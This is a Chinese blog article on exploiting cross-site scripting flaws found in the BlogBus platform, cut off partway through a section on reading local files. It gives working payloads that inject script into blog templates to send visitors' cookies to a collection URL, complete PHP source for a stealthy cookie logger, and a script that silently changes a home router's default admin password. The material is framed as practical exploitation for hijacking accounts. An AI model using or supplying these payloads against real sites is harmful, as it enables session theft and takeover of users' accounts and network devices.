作者:泉哥
主页: http://riusksk.blogbus.com
前言
跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。
漏洞 测试
关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下:
漏洞详情
简要描述:
博客大巴存储型XSS漏洞
详细说明:
在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。
但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入<img src="#" onerror=alert("head")></img>,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示:
图1(在首页触发)
图2(打开文章触发)
对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如Acunetix Web Scanner……
漏洞利用
一、窃取Cookie
对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“明小子”工具或其它可修改cookie的浏览器(如装有Cookies Edit插件的Firefox)将cookie修改为获取的cookie,这样即可获得博客的管理权限。
首先,我们在自定义模板的head代码模块中写入
<script>document.write(<img src=" http://localhost/test.php?cookie=+document.cookie+ " width=0 height=0 border=0 />);</script>
或者
<script>document.location = http://localhost/test.php?cookie= + document.cookie;</script>
这里我把脚本放在本机上,你可以根据脚本地址来更改上面的localhost地址。以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的目的,就看你如何发挥了。接下来我们来编写上面的test.php文件,它主要用于获取对方的cookie,其源代码如下:
<?php $cookie = $_GET[cookie]; //以GET方式获取cookie变量值 $ip = getenv (REMOTE_ADDR); //远程主机IP地址 $time=date(Y-m-d g:i:s); //以“年-月-日 时:分:秒”的格式显示时间 $referer=getenv (HTTP_REFERER); //链接来源 $agent = $_SERVER[HTTP_USER_AGENT]; //用户浏览器类型 $fp = fopen(cookie.txt, a); //打开cookie.txt,若不存在则创建它 fwrite($fp," IP: " .$ip. " Date and Time: " .$time. " User Agent:".$agent." Referer: ".$referer." Cookie: ".$cookie." "); //写入文件 fclose($fp); //关闭文件 header("Location: http://www.baidu.com "); //将网页重定向到百度,增强隐蔽性 ?> 接下来我们访问博客首页,我这里以 http://quan-ge.blogbus.com 为测试地址,访问后我们打开 http://localhost/cookie.txt 看看cookie.txt 文件是否被创建并写入数据,结果如图3所示:
图3
很明显,我们已经成功窃取到cookie了,剩下的事相信大家都知道,这里就不再赘述。
二.渗透路由器
对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL: http://admin:admin@192.168.1.1 ,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请求头,如图4所示:
图4
因此我们可以在head代码模块中写入以下语句:
<script src=" http://localhost/1.js"></script >
其中1.js 源码 如下:
window.open(" http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2
=password&Save=%B1%A3+%B4%E6");
下面我们试着用 http://newadmin:newpass@192.168.1.1 登陆,结果如图5所示:
图5
可见密码已经修改成功!
三、读取本地文件
在不同的 浏览器 中对本地文件的读取有着不同的限制,之前XEYE team曾有过统计,具体内容如下:
1: IE6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。
2: FF3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:boot.ini。
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
以上测试是利用ajax来读取文件的。但是我在 windows 7平台上用php测试各个最
查看更多关于BlogBus跨站攻击实例剖析 - 网站安全 - 自学php的详细内容...